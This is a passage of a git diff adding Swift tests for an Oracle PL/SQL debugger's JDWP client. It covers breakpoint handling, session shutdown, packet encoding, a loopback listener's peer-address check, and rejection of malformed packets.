lines: [Int] + + init(lines: [Int], isLoaded: Bool) { + self.lines = lines + state = OSAllocatedUnfairLock(initialState: State(isLoaded: isLoaded)) + } + + func load() { + state.withLock { $0.isLoaded = true } + } + + func refuseNextClear() { + state.withLock { $0.refusesNextClear = true } + } + + func request(atLine line: Int) -> Int32? { + state.withLock { $0.breakpoints[Int64(line)] } + } + + func answer(_ sent: RespondingPeer.Sent) -> (events: [Data], errorCode: UInt16, body: Data)? { + var writer = OracleJDWPWriter(sizes: .oracle) + switch (sent.commandSet, sent.command) { + case (OracleJDWPCommand.virtualMachine, OracleJDWPCommand.idSizes): + return ([OracleJDWPRecording.vmStartEvent], 0, replyBody(OracleJDWPRecording.idSizesReply)) + case (OracleJDWPCommand.virtualMachine, OracleJDWPCommand.classesBySignature): + guard state.withLock({ $0.isLoaded }) else { + writer.i32(0) + break + } + writer.i32(1) + writer.u8(1) + writer.id(2, .referenceType) + writer.i32(7) + case (OracleJDWPCommand.referenceType, OracleJDWPCommand.methods): + writer.i32(1) + writer.id(5, .method) + writer.string("RUN") + writer.string("()V") + writer.i32(9) + case (OracleJDWPCommand.method, OracleJDWPCommand.lineTable): + writer.i64(Int64(lines.first ?? 0)) + writer.i64(Int64(lines.last ?? 0)) + writer.i32(Int32(lines.count)) + for line in lines { + writer.i64(Int64(line)) + writer.i32(Int32(line)) + } + case (OracleJDWPCommand.eventRequest, OracleJDWPCommand.clear): + let refuses = state.withLock { current -> Bool in + defer { current.refusesNextClear = false } + return current.refusesNextClear + } + // INVALID_EVENT_TYPE, with the session still up. + if refuses { return ([], 102, Data()) } + case (OracleJDWPCommand.eventRequest, OracleJDWPCommand.set): + let id = state.withLock { current -> Int32 in + current.nextRequest += 1 + if sent.body.first == OracleJDWPEventKind.breakpoint.rawValue { + current.breakpoints[Self.codeIndex(of: sent.body)] = current.nextRequest + } + return current.nextRequest + } + writer.i32(id) + default: + break + } + return ([], 0, writer.data) + } + + // A breakpoint request ends with its location, whose last eight bytes are the code index. + private static func codeIndex(of body: Data) -> Int64 { + body.suffix(8).reduce(Int64(0)) { $0 << 8 | Int64($1) } + } + } + + private func makeSession(_ vm: VM, helper: ScriptedChannel? = nil) async throws -> (OracleJDWPDebugSession, RespondingPeer) { + let peer = RespondingPeer { vm.answer($0) } + let connection = OracleJDWPConnection(transport: peer, replyTimeout: .seconds(5)) + try await connection.handshake() + let offline = OracleCoreConnection(options: OracleConnectionOptions(host: "127.0.0.1", user: "probe", password: "x")) + let session = OracleJDWPDebugSession( + connection: connection, + target: offline, + helper: helper ?? offline, + entryPoint: OracleDebugEntryPoint( + entry: OracleDebugEntry(unit: Self.calcBody, subprogram: "RUN", subprogramID: 3), + overload: nil, + parameters: [], + result: nil + ), + invocation: OracleDebugStatements.Invocation(block: "BEGIN NULL; END;", binds: []), + connectCall: Task { .success([]) }, + notices: [] + ) + return (session, peer) + } + + private func clears(_ peer: RespondingPeer) -> [Data] { + peer.sent + .filter { $0.commandSet == OracleJDWPCommand.eventRequest && $0.command == OracleJDWPCommand.clear } + .map(\.body) + } + + private func clear(_ request: Int32?) -> Data { + OracleJDWPRequest.clear(kind: .breakpoint, requestID: request ?? -1, sizes: .oracle) + } + + // Line 4 has no code, so the breakpoint sent at start lands on line 5; the host never learns that. + @Test func testAStartBreakpointIsRemovedByTheLineItWasAskedFor() async throws { + let vm = VM(lines: [3, 5, 6], isLoaded: true) + let (session, peer) = try await makeSession(vm) + try await session.start(breakpoints: [(unit: Self.calcBody, line: 4)]) + + try await session.removeBreakpoint(in: Self.calcBody, line: 4) + #expect(clears(peer) == [clear(vm.request(atLine: 5))]) + #expect(await session.stop() == .ended) + } + + // The unit is not loaded at start: the line map places line 4 on line 5, and the class's line table then moves it + // to line 6 when the unit loads. + @Test func testAPendingBreakpointIsRemovedByItsLineAfterItsUnitLoads() async throws { + let vm = VM(lines: [3, 6], isLoaded: false) + // Lines 3, 5 and 6 have code in DBMS_DEBUG's line map. + let helper = ScriptedChannel { sql in + sql.contains("GET_LINE_MAP") ? [OracleDebugPayload.encode(["0", "6", "68"])] : [] + } + let (session, peer) = try await makeSession(vm, helper: helper) + try await session.start(breakpoints: [(unit: Self.calcBody, line: 4)]) + vm.load() + #expect(try await session.setBreakpoint(in: Self.calcBody, line: 3) == 3) + + try await session.removeBreakpoint(in: Self.calcBody, line: 4) + #expect(clears(peer) == [clear(vm.request(atLine: 6))]) + #expect(await session.stop() == .ended) + } + + // Lines 4 and 5 both land on line 5: the breakpoint stays until the host has removed both. + @Test func testABreakpointTwoStartLinesLandedOnStaysUntilBothAreRemoved() async throws { + let vm = VM(lines: [3, 5, 6], isLoaded: true) + let (session, peer) = try await makeSession(vm) + try await session.start(breakpoints: [(unit: Self.calcBody, line: 4), (unit: Self.calcBody, line: 5)]) + + try await session.removeBreakpoint(in: Self.calcBody, line: 4) + #expect(clears(peer).isEmpty) + try await session.removeBreakpoint(in: Self.calcBody, line: 5) + #expect(clears(peer) == [clear(vm.request(atLine: 5))]) + #expect(await session.stop() == .ended) + } + + // A Clear the VM refuses leaves the breakpoint set, so removing it again sends another Clear. + @Test func testARefusedClearCanBeRetried() async throws { + let vm = VM(lines: [3, 5, 6], isLoaded: true) + let (session, peer) = try await makeSession(vm) + try await session.start(breakpoints: []) + #expect(try await session.setBreakpoint(in: Self.calcBody, line: 5) == 5) + vm.refuseNextClear() + + await #expect(throws: (any Error).self) { try await session.removeBreakpoint(in: Self.calcBody, line: 5) } + try await session.removeBreakpoint(in: Self.calcBody, line: 5) + #expect(clears(peer) == [clear(vm.request(atLine: 5)), clear(vm.request(atLine: 5))]) + #expect(await session.stop() == .ended) + } + + // A breakpoint set after start answers the line it landed on, which is the line the host removes it by. + @Test func testABreakpointSetLaterIsRemovedByTheLineItAnswered() async throws { + let vm = VM(lines: [3, 5, 6], isLoaded: true) + let (session, peer) = try await makeSession(vm) + try await session.start(breakpoints: []) + #expect(try await session.setBreakpoint(in: Self.calcBody, line: 4) == 5) + + try await session.removeBreakpoint(in: Self.calcBody, line: 5) + #expect(clears(peer) == [clear(vm.request(atLine: 5))]) + #expect(await session.stop() == .ended) + } +} diff --git a/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPConcludeTests.swift b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPConcludeTests.swift new file mode 100644 index 0000000000..4ed872db86 --- /dev/null +++ b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPConcludeTests.swift @@ -0,0 +1,134 @@ +import Foundation +@testable import TableProOracleCore +import Testing + +struct OracleJDWPConcludeTests { + // The routine sits in DBMS_SESSION.SLEEP, which never returns to PL/SQL to see the socket close. Its call holds + // the target's gate, so a ROLLBACK there would wait for the sleep: the step ends unconfirmed instead. + @Test func testASocketThatClosesDuringALongCallEndsTheRunUnconfirmed() async throws { + let calcBody = OracleDebugUnit(owner: "PROBE", name: "PKG_CALC", kind: .packageBody) + let identity = OracleDebugSessionIdentity(sid: 42, serial: 7) + let invocation = "BEGIN PROBE.PKG_CALC.RUN; END;" + let sleeping = Latch() + defer { sleeping.open() } + let (calls, call) = AsyncStream.makeStream(of: Void.self) + let target = ScriptedChannel { sql in + guard sql == invocation else { return [] } + call.yield() + await sleeping.wait() + return [] + } + let peer = RespondingPeer { sent in + if sent.commandSet == OracleJDWPCommand.virtualMachine, sent.command == OracleJDWPCommand.idSizes { + return ([OracleJDWPRecording.vmStartEvent], 0, replyBody(OracleJDWPRecording.idSizesReply)) + } + return ([], 0, Data()) + } + let connection = OracleJDWPConnection(transport: peer, replyTimeout: .seconds(5)) + try await connection.handshake() + let session = OracleJDWPDebugSession( + connection: connection, + target: target, + helper: ScriptedChannel(), + entryPoint: OracleDebugEntryPoint( + entry: OracleDebugEntry(unit: calcBody, subprogram: "RUN", subprogramID: 3), + overload: nil, + parameters: [], + result: nil + ), + invocation: OracleDebugStatements.Invocation(block: invocation, binds: []), + connectCall: Task { .success([]) }, + targetIdentity: identity, + callEndWait: .milliseconds(200), + notices: [] + ) + try await session.start(breakpoints: []) + + let firstStop = Task { await finished(within: 5) { try await session.firstStop() } } + var started = calls.makeAsyncIterator() + _ = await started.next() + peer.close() + + #expect(await firstStop.value == .failed(.stillRunning(identity))) + #expect(!target.sent.contains("ROLLBACK")) + } + + // Stop closes the socket, and the routine's call fails with it. ORA-30687 is the server ending the session; a + // failed transport (the target's own connection dropped too) ends the call only on this side, so the target is + // killed through the helper and the end stays unconfirmed. + @Test(arguments: [ + (OracleCoreError.connectionClosed, false), + (OracleCoreError.queryFailed("ORA-30687: session terminated by debugger"), true) + ]) + func testStopConfirmsTheEndOnlyFromTheServersAnswer(endedWith: OracleCoreError, serverAnswered: Bool) async throws { + let calcBody = OracleDebugUnit(owner: "PROBE", name: "PKG_CALC", kind: .packageBody) + let identity = OracleDebugSessionIdentity(sid: 42, serial: 7) + let invocation = "BEGIN PROBE.PKG_CALC.RUN; END;" + let socketClosed = Latch() + defer { socketClosed.open() } + let (calls, call) = AsyncStream.makeStream(of: Void.self) + let target = ScriptedChannel { sql in + guard sql == invocation else { return [] } + call.yield() + await socketClosed.wait() + throw endedWith + } + let helper = ScriptedChannel() + let peer = RespondingPeer { sent in + if sent.commandSet == OracleJDWPCommand.virtualMachine, sent.command == OracleJDWPCommand.idSizes { + return ([OracleJDWPRecording.vmStartEvent], 0, replyBody(OracleJDWPRecording.idSizesReply)) + } + return ([], 0, Data()) + } + let connection = OracleJDWPConnection(transport: ClosingPeer(peer: peer) { socketClosed.open() }, replyTimeout: .seconds(5)) + try await connection.handshake() + let session = OracleJDWPDebugSession( + connection: connection, + target: target, + helper: helper, + entryPoint: OracleDebugEntryPoint( + entry: OracleDebugEntry(unit: calcBody, subprogram: "RUN", subprogramID: 3), + overload: nil, + parameters: [], + result: nil + ), + invocation: OracleDebugStatements.Invocation(block: invocation, binds: []), + connectCall: Task { .success([]) }, + targetIdentity: identity, + notices: [] + ) + try await session.start(breakpoints: []) + + let firstStop = Task { await finished(within: 5) { try await session.firstStop() } } + var started = calls.makeAsyncIterator() + _ = await started.next() + + #expect(await session.stop() == (serverAnswered ? .ended : .unconfirmed(identity))) + #expect(helper.sent.contains(where: { $0.hasPrefix("ALTER SYSTEM KILL SESSION '42,7'") }) == !serverAnswered) + #expect(await firstStop.value == (serverAnswered ? .failed(.stopped) : .failed(.stillRunning(identity)))) + } +} + +// Tells the test when this side closes the socket, which is when the database sees the debugger go. +private final class ClosingPeer: OracleJDWPTransport { + private let peer: RespondingPeer + private let onClose: @Sendable () -> Void + + init(peer: RespondingPeer, onClose: @escaping @Sendable () -> Void) { + self.peer = peer + self.onClose = onClose + } + + func send(_ data: Data) async throws { + try await peer.send(data) + } + + func receive() async throws -> Data? { + try await peer.receive() + } + + func close() { + peer.close() + onClose() + } +} diff --git a/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPConnectionTests.swift b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPConnectionTests.swift new file mode 100644 index 0000000000..6630164e44 --- /dev/null +++ b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPConnectionTests.swift @@ -0,0 +1,133 @@ +import Foundation +import os +@testable import TableProOracleCore +import Testing + +// Plays the database's side of the recorded conversation: each command this side sends is answered with the bytes the +// database sent at that point, the reply renumbered to the command's id. +private final class ReplayTransport: OracleJDWPTransport, @unchecked Sendable { + private struct State { + var inbound: [Data] = [] + var waiter: CheckedContinuation? + var sent: [Data] = [] + var closed = false + } + + private let answers: [UInt8: [Data]] + private let state = OSAllocatedUnfairLock(initialState: State()) + + init(greeting: Data, answers: [UInt8: [Data]]) { + self.answers = answers + deliver(greeting) + } + + var sent: [Data] { state.withLock { $0.sent } } + + func send(_ data: Data) async throws { + state.withLock { $0.sent.append(data) } + guard data.count >= 11 else { return } + let id = data.prefix(8).suffix(4) + let command = data[data.startIndex + 10] + for answer in answers[command] ?? [] { + var packet = answer + if packet[packet.startIndex + 8] & 0x80 != 0 { + packet.replaceSubrange(packet.startIndex + 4.. CheckedContinuation? in + if let waiter = current.waiter { + current.waiter = nil + return waiter + } + current.inbound.append(data) + return nil + } + waiter?.resume(returning: data) + } + + func receive() async throws -> Data? { + await withCheckedContinuation { continuation in + let ready = state.withLock { current -> Data?? in + if !current.inbound.isEmpty { return .some(current.inbound.removeFirst()) } + if current.closed { return .some(nil) } + current.waiter = continuation + return nil + } + if let ready { continuation.resume(returning: ready) } + } + } + + func close() { + let waiter = state.withLock { current -> CheckedContinuation? in + current.closed = true + defer { current.waiter = nil } + return current.waiter + } + waiter?.resume(returning: nil) + } +} + +struct OracleJDWPConnectionTests { + @Test func testRecordedHandshakeRepliesAndEventsReachTheirCallers() async throws { + let transport = ReplayTransport( + greeting: OracleJDWPPacket.handshake, + answers: [ + OracleJDWPCommand.idSizes: [OracleJDWPRecording.vmStartEvent, OracleJDWPRecording.idSizesReply], + OracleJDWPCommand.methods: [OracleJDWPRecording.methodsReply] + ] + ) + let connection = OracleJDWPConnection(transport: transport) + try await connection.handshake() + + let sizesReply = try await connection.send(OracleJDWPCommand.virtualMachine, OracleJDWPCommand.idSizes) + var reader = OracleJDWPReader(sizesReply, sizes: .oracle) + #expect(try reader.i32() == 4) + + var commands = connection.commands.makeAsyncIterator() + let event = try #require(await commands.next()) + guard case let .command(_, 64, 100, body) = event else { + Issue.record("expected the composite event") + return + } + #expect(try OracleJDWPEventSet.decode(body, sizes: .oracle).events == [.vmStart(thread: 1)]) + + var writer = OracleJDWPWriter(sizes: .oracle) + writer.id(2, .referenceType) + let methods = try OracleJDWPMethod.decodeList( + try await connection.send(OracleJDWPCommand.referenceType, OracleJDWPCommand.methods, writer.data), + sizes: .oracle + ) + #expect(methods.map(\.name) == ["", "ADD_TAX", "RUN", "ADD_TAX"]) + #expect(transport.sent.first == OracleJDWPPacket.handshake) + + await connection.close() + await #expect(throws: OracleJDWPError.closed) { + try await connection.send(OracleJDWPCommand.virtualMachine, OracleJDWPCommand.resume) + } + } + + @Test func testAPeerThatAnswersSomethingElseFailsTheHandshake() async { + let transport = ReplayTransport(greeting: Data("HTTP/1.1 400 Ba".utf8), answers: [:]) + let connection = OracleJDWPConnection(transport: transport) + await #expect(throws: OracleJDWPError.handshakeFailed) { + try await connection.handshake() + } + } + + @Test func testAReplyErrorCodeComesBackAsAnError() async throws { + let failing = OracleJDWPPacket.reply(id: 0, errorCode: 35, data: Data()).encoded + let transport = ReplayTransport( + greeting: OracleJDWPPacket.handshake, + answers: [OracleJDWPCommand.frameValues: [failing]] + ) + let connection = OracleJDWPConnection(transport: transport) + try await connection.handshake() + await #expect(throws: OracleJDWPError.reply(code: 35)) { + try await connection.send(OracleJDWPCommand.stackFrame, OracleJDWPCommand.frameValues) + } + } +} diff --git a/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPDebugInfoTests.swift b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPDebugInfoTests.swift new file mode 100644 index 0000000000..23faedc0f0 --- /dev/null +++ b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPDebugInfoTests.swift @@ -0,0 +1,89 @@ +import Foundation +@testable import TableProOracleCore +import Testing + +struct OracleJDWPDebugInfoTests { + private let sizes = OracleJDWPIDSizes.oracle + + private func body(_ packet: Data) throws -> Data { + let decoded = try #require(try OracleJDWPPacket.decode(from: packet)) + guard case let .reply(_, _, data) = decoded.packet else { throw OracleJDWPError.malformedPacket } + return data + } + + @Test func testRecordedMethodsListOverloadsWithTheirSignatures() throws { + let methods = try OracleJDWPMethod.decodeList(try body(OracleJDWPRecording.methodsReply), sizes: sizes) + #expect(methods.map(\.name) == ["", "ADD_TAX", "RUN", "ADD_TAX"]) + #expect(methods.map(\.id) == [3, 4, 5, 6]) + #expect(methods[1].argumentTypeNames == ["NUMBER"]) + #expect(methods[3].argumentTypeNames == ["NUMBER", "NUMBER"]) + #expect(!methods[0].isSubprogram) + #expect(methods[2].isSubprogram) + } + + // ADD_TAX's table from the live run: lines 3, 5, 6, 7, 8, code index equal to the line. + @Test func testRecordedLineTableMapsLinesAndIndexes() throws { + let table = try OracleJDWPLineTable.decode(try body(OracleJDWPRecording.lineTableReply), sizes: sizes) + #expect(table.start == 3) + #expect(table.end == 8) + #expect(table.lines == [3, 5, 6, 7, 8]) + #expect(table.line(at: 6) == 6) + #expect(table.location(atOrAfter: 4)?.line == 5) + #expect(table.location(atOrAfter: 6)?.index == 6) + #expect(table.location(atOrAfter: 9) == nil) + #expect(table.covers(line: 4)) + #expect(!table.covers(line: 9)) + } + + @Test func testAUnitWithoutDebugInformationHasEmptyLineTables() { + let table = OracleJDWPLineTable(start: 0, end: 0, entries: []) + #expect(table.isEmpty) + #expect(table.location(atOrAfter: 1) == nil) + #expect(!OracleJDWPMethod(id: 1, name: "", signature: "()V").isSubprogram) + } + + // RUN's table: I is declared by the loop at line 13 and lives three lines. + @Test func testVariableScopeFollowsTheTable() throws { + var writer = OracleJDWPWriter(sizes: sizes) + writer.i32(1) + writer.i32(3) + for (index, name, signature, length, slot) in [ + (Int64(9), "P_N", "L$Oracle/Builtin/PLS_INTEGER;", Int32(9), Int32(0)), + (9, "_return", "L$Oracle/Builtin/NUMBER;", 1, 1), + (13, "I", "L$Oracle/Builtin/PLS_INTEGER;", 3, 2) + ] { + writer.i64(index) + writer.string(name) + writer.string(signature) + writer.i32(length) + writer.i32(slot) + } + let variables = try OracleJDWPVariable.decodeTable(writer.data, sizes: sizes) + #expect(variables.map(\.isArgument) == [true, false, false]) + #expect(variables.map(\.isUserVariable) == [true, false, true]) + #expect(!variables[2].isVisible(at: 9)) + #expect(variables[2].isVisible(at: 14)) + #expect(!variables[2].isVisible(at: 16)) + #expect(variables[0].isVisible(at: 17)) + } + + @Test func testValueShapesFollowTheWrapperFields() { + let number = [ + OracleJDWPField(id: 1, name: "_value", signature: "Ljava/lang/String;", modifiers: 1), + OracleJDWPField(id: 2, name: "_canBeNull", signature: "Z", modifiers: 1) + ] + #expect(OracleDebugValueShape(fields: number) == .scalar(valueField: 1)) + let record = [ + OracleJDWPField(id: 3, name: "A", signature: "L$Oracle/Builtin/NUMBER;", modifiers: 1), + OracleJDWPField(id: 4, name: "B", signature: "L$Oracle/Builtin/VARCHAR2;", modifiers: 1), + OracleJDWPField(id: 5, name: "_type", signature: "Ljava/lang/String;", modifiers: 1) + ] + #expect(OracleDebugValueShape(fields: record) == .record(members: Array(record.prefix(2)))) + let collection = [ + OracleJDWPField(id: 7, name: "_values", signature: "[L$Oracle/Function/PROBE/F_CALC/F_CALC/T_NUMS$element;", modifiers: 17), + OracleJDWPField(id: 10, name: "_type", signature: "Ljava/lang/String;", modifiers: 25) + ] + #expect(OracleDebugValueShape(fields: collection) == .collection(valuesField: 7)) + #expect(OracleDebugValueShape(fields: []) == .opaque) + } +} diff --git a/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPHostileInputTests.swift b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPHostileInputTests.swift new file mode 100644 index 0000000000..652d246fea --- /dev/null +++ b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPHostileInputTests.swift @@ -0,0 +1,146 @@ +import Foundation +@testable import TableProOracleCore +import Testing + +// Anything that connects to the listener, or a compromised server, chooses these bytes. Each malformed input must be a +// thrown error that ends the session, never a trap or an allocation sized by the peer. +struct OracleJDWPHostileInputTests { + private let sizes = OracleJDWPIDSizes.oracle + + private func compositeBody(policy: UInt8 = 2, count: Int32, rest: Data = Data()) -> Data { + var writer = OracleJDWPWriter(sizes: sizes) + writer.u8(policy) + writer.i32(count) + return writer.data + rest + } + + @Test func testANegativeEventCountThrows() { + #expect(throws: OracleJDWPError.malformedPacket) { + try OracleJDWPEventSet.decode(compositeBody(count: -1), sizes: sizes) + } + } + + @Test func testAnEventCountTheBytesCannotHoldThrows() { + #expect(throws: OracleJDWPError.malformedPacket) { + try OracleJDWPEventSet.decode(compositeBody(count: Int32.max), sizes: sizes) + } + // Two events claimed, one event's bytes sent. + var event = OracleJDWPWriter(sizes: sizes) + event.u8(OracleJDWPEventKind.vmStart.rawValue) + event.i32(0) + event.id(1, .object) + #expect(throws: OracleJDWPError.self) { + try OracleJDWPEventSet.decode(compositeBody(count: 2, rest: event.data), sizes: sizes) + } + } + + @Test func testListCountsAreBoundedByTheBytesLeft() { + var writer = OracleJDWPWriter(sizes: sizes) + writer.i32(Int32.max) + #expect(throws: OracleJDWPError.malformedPacket) { try OracleJDWPMethod.decodeList(writer.data, sizes: sizes) } + #expect(throws: OracleJDWPError.malformedPacket) { try OracleJDWPField.decodeList(writer.data, sizes: sizes) } + var lines = OracleJDWPWriter(sizes: sizes) + lines.i64(1) + lines.i64(2) + lines.i32(-5) + #expect(throws: OracleJDWPError.malformedPacket) { try OracleJDWPLineTable.decode(lines.data, sizes: sizes) } + var reader = OracleJDWPReader(Data([0xFF, 0xFF, 0xFF, 0xFF]), sizes: sizes) + #expect(throws: OracleJDWPError.malformedPacket) { try reader.count(minimumSize: 1) } + } + + @Test func testAVariableWhoseScopeOverflowsThrows() { + var writer = OracleJDWPWriter(sizes: sizes) + writer.i32(0) + writer.i32(1) + writer.i64(Int64.max) + writer.string("X") + writer.string("L$Oracle/Builtin/NUMBER;") + writer.i32(5) + writer.i32(0) + #expect(throws: OracleJDWPError.malformedPacket) { try OracleJDWPVariable.decodeTable(writer.data, sizes: sizes) } + } + + @Test func testScopeArithmeticNeverTraps() { + let variable = OracleJDWPVariable(codeIndex: Int64.max - 1, name: "X", signature: "", length: Int.max, slot: 0, isArgument: false) + #expect(variable.isVisible(at: Int64.max)) + #expect(!variable.isVisible(at: 0)) + } + + @Test func testIDSizesOutsideOneToEightAreRejected() { + #expect(throws: OracleJDWPError.malformedPacket) { + try OracleJDWPIDSizes.validated(field: 4, method: 4, object: 0x7FFF_FFFF, referenceType: 4, frame: 8) + } + #expect(throws: OracleJDWPError.malformedPacket) { + try OracleJDWPIDSizes.validated(field: 0, method: 4, object: 4, referenceType: 4, frame: 8) + } + #expect(throws: OracleJDWPError.malformedPacket) { + try OracleJDWPIDSizes.validated(field: 4, method: 4, object: 4, referenceType: 4, frame: -8) + } + #expect((try? OracleJDWPIDSizes.validated(field: 4, method: 4, object: 4, referenceType: 4, frame: 8)) == .oracle) + } + + @Test func testAFrameLongerThanTheCapThrowsBeforeItIsBuffered() { + var header = Data() + withUnsafeBytes(of: UInt32(OracleJDWPPacket.maximumLength + 1).bigEndian) { header.append(contentsOf: $0) } + header.append(contentsOf: [0, 0, 0, 1, 0, 64, 100]) + var buffer = OracleJDWPFrameBuffer() + buffer.append(header) + #expect(throws: OracleJDWPError.malformedPacket) { try buffer.nextPacket() } + var short = Data([0, 0, 0, 5, 0, 0, 0, 1, 0, 1, 1]) + short.append(0) + #expect(throws: OracleJDWPError.malformedPacket) { try OracleJDWPPacket.decode(from: short) } + } + + @Test func testAnIDWiderThanEightBytesIsNeverRead() { + let wide = OracleJDWPIDSizes(field: 4, method: 4, object: 9, referenceType: 4, frame: 8) + var reader = OracleJDWPReader(Data(repeating: 0, count: 16), sizes: wide) + #expect(throws: OracleJDWPError.malformedPacket) { try reader.id(.object) } + var writer = OracleJDWPWriter(sizes: OracleJDWPIDSizes(field: 4, method: 4, object: 0x7FFF_FFFF, referenceType: 4, frame: 8)) + writer.id(1, .object) + #expect(writer.data.count == 8) + } + + // A malformed frame closes the connection, which is what ends the target, instead of leaving it suspended. + @Test func testAMalformedFrameClosesTheConnection() async throws { + let transport = ScriptedTransport(chunks: [OracleJDWPPacket.handshake, Data([0xFF, 0xFF, 0xFF, 0xFF, 0, 0, 0, 1, 0, 64, 100])]) + let connection = OracleJDWPConnection(transport: transport) + try await connection.handshake() + var commands = connection.commands.makeAsyncIterator() + #expect(await commands.next() == nil) + #expect(await connection.closed) + #expect(transport.isClosed) + } + + @Test func testPayloadLengthsCannotOverflow() { + #expect(throws: OracleDebugPayload.ParseError.self) { try OracleDebugPayload.parse("99999999999999999999:x") } + #expect(throws: OracleDebugPayload.ParseError.self) { try OracleDebugPayload.parse("999999999:x") } + } + + @Test func testALineMapClaimingHugeLinesReadsOnlyItsBytes() { + #expect(OracleDBMSDebugStatements.executableLines(hexMap: "FE", maxLine: Int.max) == [1, 2, 3, 4, 5, 6, 7]) + #expect(OracleDBMSDebugStatements.executableLines(hexMap: "", maxLine: 500).isEmpty) + #expect(OracleDBMSDebugStatements.executableLines(hexMap: "FF", maxLine: -3).isEmpty) + } +} + +private final class ScriptedTransport: OracleJDWPTransport, @unchecked Sendable { + private let lock = NSLock() + private var chunks: [Data] + private var closed = false + + init(chunks: [Data]) { + self.chunks = chunks + } + + var isClosed: Bool { lock.withLock { closed } } + + func send(_ data: Data) async throws {} + + func receive() async throws -> Data? { + lock.withLock { chunks.isEmpty ? nil : chunks.removeFirst() } + } + + func close() { + lock.withLock { closed = true } + } +} diff --git a/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPListenerTests.swift b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPListenerTests.swift new file mode 100644 index 0000000000..618984b753 --- /dev/null +++ b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPListenerTests.swift @@ -0,0 +1,85 @@ +import Foundation +import Network +@testable import TableProOracleCore +import Testing + +// The listener runs on loopback here: the same code a database server reaches over the network. +struct OracleJDWPListenerTests { + private let ports: ClosedRange = 47_100...47_199 + + private func dial(_ port: UInt16, sending payload: Data?) -> NWConnection { + let connection = NWConnection( + host: "127.0.0.1", + port: NWEndpoint.Port(rawValue: port) ?? .any, + using: .tcp + ) + connection.stateUpdateHandler = { state in + if case .ready = state, let payload { + connection.send(content: payload, completion: .idempotent) + } + } + connection.start(queue: .global()) + return connection + } + + @Test func testAPeerFromTheDatabasesAddressIsAccepted() async throws { + let listener = try await OracleJDWPListener.open(ports: ports, bindAddresses: ["127.0.0.1"], allowedPeers: ["127.0.0.1"]) + let peer = dial(listener.port, sending: OracleJDWPPacket.handshake) + defer { peer.cancel() } + let connection = try await listener.accept(timeout: .seconds(5)) + await connection.close() + } + + // A strict address check refuses a peer the database host does not resolve to, and names it for the person. + @Test func testAPeerFromAnotherAddressIsClosedAndNamed() async throws { + let listener = try await OracleJDWPListener.open(ports: ports, bindAddresses: ["127.0.0.1"], allowedPeers: ["10.9.8.7"]) + let peer = dial(listener.port, sending: OracleJDWPPacket.handshake) + defer { peer.cancel() } + await #expect(throws: OracleJDWPListenerError.timedOut(rejected: ["127.0.0.1"])) { + try await listener.accept(timeout: .seconds(1)) + } + } + + // A connection that never sends the handshake is dropped after two seconds, and the real one still gets in. + @Test func testASilentPeerDoesNotHoldTheListener() async throws { + let listener = try await OracleJDWPListener.open(ports: ports, bindAddresses: ["127.0.0.1"], allowedPeers: ["127.0.0.1"]) + let silent = dial(listener.port, sending: nil) + defer { silent.cancel() } + let real = dial(listener.port, sending: OracleJDWPPacket.handshake) + defer { real.cancel() } + let started = ContinuousClock.now + let connection = try await listener.accept(timeout: .seconds(5)) + #expect(ContinuousClock.now - started < .seconds(2)) + await connection.close() + } + + @Test func testCancellingTheWaitEndsIt() async throws { + let listener = try await OracleJDWPListener.open(ports: ports, bindAddresses: ["127.0.0.1"], allowedPeers: ["127.0.0.1"]) + let started = ContinuousClock.now + let waiting = Task { try await listener.accept(timeout: .seconds(30)) } + waiting.cancel() + await #expect(throws: CancellationError.self) { try await waiting.value } + #expect(ContinuousClock.now - started < .seconds(5)) + } + + // `localhost` resolves to ::1 first on macOS, but Docker Desktop delivers a container's connection on 127.0.0.1. + @Test func testALoopbackRouteBinds127() async { + #expect(await OracleDebugNetwork.bindAddresses(debuggerHost: "localhost", databaseHost: "localhost", databasePort: 1_521) + == ["127.0.0.1"]) + #expect(await OracleDebugNetwork.bindAddresses(debuggerHost: "name.invalid", databaseHost: "localhost", databasePort: 1_521) + == ["127.0.0.1"]) + #expect(await OracleDebugNetwork.bindAddresses(debuggerHost: "::1", databaseHost: "localhost", databasePort: 1_521) + == ["::1"]) + #expect(OracleDebugNetwork.isLoopback("::1")) + #expect(OracleDebugNetwork.isLoopback("127.0.0.1")) + #expect(!OracleDebugNetwork.isLoopback("192.168.1.20")) + } + + @Test func testAddressesCompareInOneSpelling() { + #expect(OracleDebugNetwork.normalized("::FFFF:127.0.0.1") == "127.0.0.1") + #expect(OracleDebugNetwork.normalized("fe80::1%en0") == "fe80::1") + #expect(OracleDebugNetwork.normalized("[::1]") == "::1") + #expect(OracleDebugNetwork.resolve("127.0.0.1") == ["127.0.0.1"]) + #expect(OracleDebugNetwork.localInterfaceAddresses().contains("127.0.0.1")) + } +} diff --git a/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPPacketTests.swift b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPPacketTests.swift new file mode 100644 index 0000000000..c515a88b56 --- /dev/null +++ b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPPacketTests.swift @@ -0,0 +1,122 @@ +import Foundation +@testable import TableProOracleCore +import Testing + +struct OracleJDWPPacketTests { + private let sizes = OracleJDWPIDSizes.oracle + + @Test func testIDSizesCommandEncodesAsRecorded() { + let packet = OracleJDWPPacket.command(id: 1, commandSet: 1, command: 7, data: Data()) + #expect(packet.encoded == OracleJDWPRecording.bytes("0000000b00000001000107")) + #expect(packet.encoded == OracleJDWPRecording.idSizesCommand) + } + + @Test func testReplyAndCommandRoundTrip() throws { + let reply = OracleJDWPPacket.reply(id: 